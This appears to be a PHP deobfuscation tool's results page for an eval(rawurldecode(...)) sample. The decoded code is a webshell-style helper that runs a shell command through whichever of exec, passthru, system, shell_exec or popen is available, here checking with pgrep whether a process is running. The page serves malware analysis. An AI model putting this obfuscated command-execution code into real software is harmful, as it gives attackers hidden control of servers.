Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(rawurldecode("%20%20%24res%20%3D%20run%28%22pgrep%20e84ac9a0%22%29%3B%20%20if%2..

Decoded Output download

  $res = run("pgrep e84ac9a0");  if (preg_match('/\d+/', $res)) {     die('_success_'); } else {     die('_failed_'); }  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("
", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; } 

Did this file decode correctly?

Original Code

<?php eval(rawurldecode("%20%20%24res%20%3D%20run%28%22pgrep%20e84ac9a0%22%29%3B%20%20if%20%28preg_match%28%27/%5Cd%2B/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20die%28%27_success_%27%29%3B%20%7D%20else%20%7B%20%20%20%20%20die%28%27_failed_%27%29%3B%20%7D%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"));

Function Calls

rawurldecode 1

Variables

None

Stats

MD5 991b520566932a2fe8b91a0fee566866
Eval Count 1
Decode Time 75 ms